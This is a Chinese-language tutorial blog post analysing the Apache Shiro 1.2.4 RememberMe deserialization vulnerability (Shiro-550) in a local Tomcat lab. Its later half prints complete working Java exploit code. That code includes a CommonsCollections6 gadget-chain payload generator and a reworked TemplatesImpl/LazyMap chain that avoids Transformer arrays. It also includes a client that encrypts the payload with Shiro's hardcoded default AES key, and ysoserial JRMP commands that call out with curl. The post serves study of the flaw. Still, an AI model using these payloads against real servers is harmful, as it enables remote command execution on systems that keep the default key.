前言

这其实是我第二次写 Shiro 反序列化的内容,第一次是在隔离在宿舍刚结束的时候写的,当时学得简直惨不忍睹,人还是不要放纵自己为好…

前置

Apache Shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

shrio的三大核心对象:

  • subject
    代表了当前的用户,这个用户不一定是一个具体的人,与当前应用交互的任何东西都是subject
  • SecurityManager
    安全管理器,即所有与安全有关的操作都会与SercurityManager交互,并且它管理着所有的Subject,它负责与Shiro的其他组件进行交互,它相当于SpringMVC的DispatcherServlet的角色
  • Realm
    Shiro从Realm获取安全数据(如用户,角色,权限),连接数据。相当于DataSource。

关于进一步的利用,比如下面这里的 login 界面的编写就要到利用 Shiro 开发的范畴了,这篇文章 给出了简单的示例。

这里不再深入了,利用 P牛 给出的 war 包搭建一个简单的 Shiro 框架下的 Web 页面,需要下面几个依赖:

  • shiro-core、shiro-web,这是 shiro 本身的依赖
  • javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  • slf4j-api、slf4j-simple,slf4j是简单日志门面(imple Logging Facade for Java),这是为了显示shiro中的报错信息添加的依赖
  • commons-logging,这个是 shiro 中的一个接口,不添加会报错
  • commons-collections,反序列化漏洞的触发点

也就是 在存在 Commons Collections 组件的情况下打穿 Shiro 安全框架的一个情形,类似于沙盒逃逸?

我们在 IDEA 中新建一个 web 项目,启动 tomcat 后访问 war 包下的路径 即可。

image.png

war 包

jar 包

先简单介绍一下 jar 包,jar 包全称 Java Archive ,中文名叫 java 归档文件,这是一种与平台无关的文件格式,它允许将许多文件组合成一个压缩文件(是的,jar 包就是一种压缩文件,甚至 jar 这个单词就有罐子的意思,实际上 jar 包采用的也是 zip 的压缩方式,只不过将文件后缀定义为 jar)

jar 包虽然使用 zip 进行压缩和发布,但与 zip 压缩不同,jar 文件还可以用来部署和封装库,组件和插件程序,而且这样的 jar 包是可以直接被编译器和 JVM 直接使用的。

简单的讲,zip 只是将代码文件压缩,打 jar 包不仅是文件压缩,还将代码中的类进行打包,这样就可以让别人直接进行引入调用了。

war 包

war 包与 jar 包是很类似的,不过 war 包通常用于网站,它是一个可以直接运行的 web 模块。我们在开发 web 项目一般都会使用一个 webapp 文件夹来进行开发,这个文件夹直接放在 Tomcat 的 webapps 文件夹下就可以启动该项目了。而 war 包,就是对这个文件夹进行打包

war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。

一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

打包

war 包的打包也是通过 jar 命令来实现的。使用如下命令即可打包

jar cvf d:/test/myweb2.war.

  • 其中cvf是命令参数,表示生成一个文档、显示生成过程、指定生成的文件名。
  • d:/test/myweb2.war 为生成的文档的存放路径以及文件名。
  • 最后一个点号表示要将当前目录中所有内容打包。

使用一些开发工具也可以打 war 包,比如 maven 项目就可以用 maven 打包。如果项目中用到了 ant,也可以用 ant 进行 war 包的输出和部署。类似的工具还有 gradle 等等

部署

war 包的部署是相当简单的,只需要将 war 包放在 Tomcat 的 webapps 文件夹中,启动 Tomcat,它就会自行解包运行相应的 web 项目。

参考文章

上面讲的都是大致概念,而我在运行的时候却遇到了一些问题。我是直接通过 IDEA 来运行的:

image.png

但是我却并不能直接访问到我部署的 jsp 页面

image.png

原因是什么呢?在我重新尝试运行的时候 IDEA 弹出了一个新路径的页面,解答了我的疑惑

image.png

由于我们使用了 war 包来在本机上部署 web 服务,所以我们这里实际上并不位于根目录了,我们可以在 tomcat 的 webapps 下看到我们的 war 包路径

image.png

Shiro RememberMe 实现流程

实际上这一部分我一开始是没有去认真看的,但是在被一个小坑卡了之后突然发现好像这样做不太对。小坑是发送我们的 RememberMe 的时候不能带着 JESSIONID 还是很容易想到的,是我太蠢了 XD

image.png

流程分析

我们

image.png

我们的登陆功能是基于这里 DefaultSecurityManager 类的 login 方法实现的,可以看到我们传入的 token 中存在一条为 RememberMe = ture ,我们重点关注这里 RememberMe 的处理过程。

可以看到,我们的 token 会传入 onSuccessfulLogin ,跟进,

image.png

内部套了另一个新的方法,跟进到 DefaultSecurityManager 类的 rememberMeSuccessfulLogin 方法

image.png

这里就到了 RememberMe 的部分了,这里的代码 get 了 RememberMeManager ,这是整个 RememberMe 存在的类,然后调用 RememberMeManager 类的 onSuccessfulLogin 方法,并记录 log,继续跟进

image.png

到了 AbstractRememberMeManager 类,这里是一个抽象类,这里会先进行一下删除,也就是这个 forget,然后来判断是否需要 RememberMe,也就是下面的 if 了,这里的 forgetIdentity,其实经常被我们用来进行 shiro 框架的判断

image.png

image.png

经过一系列的调用会来到这里的 removeFrom ,这里就是我们经常看到的 rememberMe = deleteme 那一串 setcookie

我们继续往后跟,在几次简单的调用之后,我们可以在 if 内的 rememberIdentity 跟进到这里

image.png

在这里,会先进行序列化,然后进行一个加密操作,

image.png

image.png

image.png

是一个 AES 加密,然后返回,再进行 rememberSerializedIdentity ,设置进 cookie

image.png

设置 RememberMe ,但是发现我一开始的关于 JESSIONID 的疑问还是没有解决

Java Web 中的 JESSIONID

这里实际上涉及到了 Java Web 中的一种机制,java web为了确保请求是同一个会话发生的,采取 Session 机制,即将 SESSIONID 存储在浏览器客户端 Cookie,session 对象实例存储在服务器端,请求发生时,HttpServletRequest 对象将 sessionId 传入服务器端,服务器端通过 sessionId 查询响应的 Session 实例。

而我们的 Shiro 应用本身也会对 sessionid 进行检测,这也就是我们为什么必须要删除 JessionID 才能开启一个新的 Web 会话的原因了

image.png

利用

漏洞点分析

在此之前我们已经对 rememberMe 设置的过程进行过分析了,我们进一步对他的识别过程进行分析,这里也就存在着我们的利用点了。

image.png

我们在 DefaultSecurityManager 中调用到 getRememberedIdentity 方法来到 AbstractRememberMeManager 的 getRememberedPrincipals 方法,进入我们对 rememberMe 解析的过程

image.png

和我们在 rememberIdentity 中的操作相反,我们这里会进行 convertBytesToPrincipals

image.png

也就是 AES解密,然后反序列化。

image.png

image.png

这里就涉及到 Shiro1.2.4 版本中的一处硬编码的错误了,AES 编码本身的安全性是不错的,但是在 Shiro1.2.4 中默认使用的却是一串固定的硬编码

image.png

image.png

这里需要下载一下源代码,直接看 mvn 打包的是看不出来的,在 IDEA 中右键就可以,这里需要下载一下源代码,直接看 mvn 打包的是看不出来的,在 IDEA 中右键就可以

也就是说,我们现在可以传入任意的我们想要进行反序列化的内容了,因为我们已经掌握了 AES 的 key(如果用户使用的是默认的 key 的话

利用

至于攻击就更清晰了,这里项目中存在 Commons Collections 组件那就通过 Shiro 的反序列化打组件呗,如果存在其他的存在反序列化漏洞的组件或者应用的话同理编写就可以了,我们来研究一下这里是怎样进行攻击与编写脚本的。

这里P牛分成了两个部分来进行脚本的编写,第一个部分 Client0

package com.govuln.shiroattack;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

这里就是我们利用 Shiro 入口的部分,我们利用默认的 AES key 对我们的 CC6 反序列化的序列化数据进行加密,加密器就利用 Shiro 中的 避免出其他问题,然后输出

image.png

CommonsCollections6

package com.govuln.shiroattack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
public byte[] getPayload(String command) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { command }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.remove("keykey");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

这里这个脚本的编写也很值得我们借鉴,CC6 利用链本身的东西都是不变的,我们这里编写的是一个

public byte[] getPayload(String command) throws Exception

参数 command 在 transformers 数组中,也就是我们 java.lang.Runtime.exec() 命令执行的参数,然后最后利用 barr.toByteArray(); 来返回我们序列化的对象

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();

但是当我们把我们的 Payload 打入之后却出现了一些问题:

image.png

image.png

预期中的 RCE 并没有触发,而是 Tomcat 返回了一大段的报错

冲突与限制

这是 P牛的命名,我们从头开始学起。

在看到一大串 Java 报错之后我们应该怎么办呢?我们来认真观察一下 Tomcat 报错时的返回

首先会有一个总的报错语句

image.png

然后后面接一个或多个 Caused by: 报错语句

image.png

Caused by: 中主要其实就是这第一句,下面的部分实际上就是我们调试时的方法栈,这里之所以给出了一系列的方法栈实际上就是为了让我们对我们出现报错的情况进行分析而设置的。

在同时爆出多个报错的时候,我们可以遵循这样一种思路,首先,第一句会是一句类似于总结的一句话,我们可以根据这里的内容大体的判断我们的报错原因,然后 Caused by: 是次一级的重点,直译的话就是原因,在分析的时候我们重点应该看我们所编写或者影响的类,找自己所写的代码或者所作出的操作产生影响的部分

org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.

Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]:

Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.

我们最后分析得到的结论是:如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误

这里我们对报错进行分析。

首先,我们看到第一句报错,这里告诉了我们出现报错的原因是反序列化出了问题,因为这里存在数组。但是数组当然是可以被反序列化的啊,问题肯定不会这么简单,我们继续往下看。

下面的报错都是关于这么一个类的 [Lorg.apache.commons.collections.Transformer; 这里的 [L 是一个JVM的标记,说明实际上这是一个数组,所以这里所说的也就是我们的 Transformer 数组了,我们在这里的 resolveClass 处抛出了异常,

image.png

我们看到 JDK 的源码

protected Class<?> resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
String var2 = var1.getName();

try {
return Class.forName(var2, false, latestUserDefinedLoader());
} catch (ClassNotFoundException var5) {
Class var4 = (Class)primClasses.get(var2);
if (var4 != null) {
return var4;
} else {
throw var5;
}
}
}

上面的是 shiro.io 内的 resolveClass,对比二者我们可以看得出,这里 Shiro 对 resolveClass 进行了重写。

在 Shiro 中,使用的是 ClassUtils.forName 而不是 Class.forName,这个方法也存在于我们的报错之中,就是第二个 Caused by:

image.png

经过调试,我们可以发现,导致报错的是这里

image.png

也就是说:Shiro resovleClass 使用的是 ClassLoader.loadClass() 而非 Class.forName(),而 ClassLoader.loadClass 不支持装载数组类型的 class。

这句话是在 Orange 师傅的一篇文章下以为匿名网友评论的,我们能够发现这个说法也存在一些问题。

这里的调用逻辑是非常复杂的,我们可以看这一篇文章中的调试过程,中间涉及到了很多的加载器和 Tomcat 对类加载的处理过程,比较复杂。最后得到的结论我们在一开始就有给出,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误

那么我们现在有了一个新的问题,没有了数组,我们还能怎么办?改造利用链啊,还能怎么办!

利用链改造

在 Orange 师傅的文章中用到了 JRMP 来解决这个问题,这里涉及到了 ysoserial 的 exploit

$ java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl orange.tw'
# listen 一個 RMI server 走 JRMP 協議在 12345 port 上

$ java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:12345' | python exp.py
# 使用 JRMPClient 去連接剛剛 listen 的 server

不过我们现在还没有学习过 JRMP 的原理和使用,仅仅依靠我们现在的知识可以实现利用链的改造么?答案也是肯定的

我们之所以用到 Transformer 数组,是为了实现反射调用执行命令。但是我们可以想到一个替代,我们完全可以利用 TemplatesImpl 来动态加载字节码来实现 RCE。

我们在 CC3 中所用的就是它,但是我们在 CC3 中使用 TransformerMap 同样用到了 Transformer 数组来调用我们的 TemplatesImpl

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",null,null)
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","xxxx");

因为我们这里要利用 ChainedTransformer、InvokerTransformer 调用 TemplatesImpl#newTransformer 方法,通过调⽤其 newTransformer() ⽅法,执⾏这段字节码的类构造器

不过,我们在 CC2 中所使用的方法可以看到实际上是没有使用 transformer 数组的!看到了一丝曙光,我们当时所使用的是下面这样的代码:

InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);

Object[] queue_array = new Object[]{templates,1};
setFieldValue(queue,"queue",queue_array);
setFieldValue(queue,"size",2);
setFieldValue(queue,"comparator",Tcomparator);

但是我们这里并不是 Commons Collections 4.0 版本,TransformingComparator 在 3.2.1 版本上还没有实现 Serialize 接口,所以我们无法利用这一条利用链来实现反序列化

再看 CC6,

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "sp4c1ous");

Map expMap = new HashMap();
expMap.put(tme, "sp4c1ous");

outerMap.remove("sp4c1ous");

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

乍一看也感觉不行,但是实际上这里是我理解得太浅了

参考 Wh1t3p1g 师傅文章 ,我们这里首先把重点放到 transformer 上,我们看到 InvokeTransformer 的 transform 方法

image.png

这里会基于传入的 input 来进行反射的调用,其中的参数是我们可以控制的,

image.png

这也就导致了我们可以依靠这里来实现 RCE,这也就是我们 transformer 数组的主要内容

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),

另外一部分通常是 Runtime 类的返回,new ConstantTransformer(Runtime.class) 写法很简单

image.png

然后通过 ChainedTransformer 的 transform 方法所写的循环来构造出一个完整的 transform 链条

image.png

现在回到我们的处境,我们不能构造数组,那么我们的 InvokeTransformer 的 transform 就不能发挥出它原本的价值了,我们想不到什么一次反射就可以实现的攻击方式。那么我们可不可以利用 ConstantTransformer 的 transform 做一些文章呢?

现在问题就转化成了,如果要我们通过传入一串数据来进行攻击的话,我们应该利用什么,又应该传入什么。

这里就直接介绍方法了。

TiedMapEntry 类,我们在 CC5、6 中都有用到,我们利用这个类中的 toString 方法来调用类中的 getValue 方法进而调用到 LazyMap 中的 get 方法,因为在这个类中,map 参数是我们可以控制的

image.png

image.png

跟进一步,这里的 kay,也就是 this.map.get 的参数,实际上我们也是可以控制的,那么这个 key 会被怎么利用呢?

image.png

在 LazyMap 中我们可以看到,这里的 key 作为参数传入了 transforem,这里 key 的类型是 Object,联系一下我们浅显的所学,我们很快就能锁定到一个可以利用的 Object ,TemplatesImpl

只要我们将我们的 TemplatesImpl 作为 key,这里的 transform 设置为 InvokerTransformer,我们就可以成功调用到我们的 TemplatesImpl 动态加载字节码的调用链了

接下来构造 exp 即可

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CCS {
public static class StubTransletPayload extends AbstractTranslet {
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public byte[] getPayload(String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(StubTransletPayload.class)));
CtClass clazz = pool.get((StubTransletPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\""+ command +"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("getClass", null, null);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

return barr.toByteArray();
}
}

生成 Payload 的 Client0 还用原来那个就可以,比 P牛那个方便一点

public class Client0 {
public static void main(String[] args) throws Exception {
byte[] payload = new CCS().getPayload("calc.exe");
AesCipherService encoder = new AesCipherService();
//使用shiro默认的key对payload进行加密
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource text = encoder.encrypt(payload, key);
System.out.println(text.toString());
}
}

修复

Shiro-550的修复并不意味着反序列化漏洞的修复,只是 默认Key 被移除了

工具

Shiro_rce_tool

https://github.com/wh1t3p1g/ysoserial 其中的 CC10 就是这里的 exp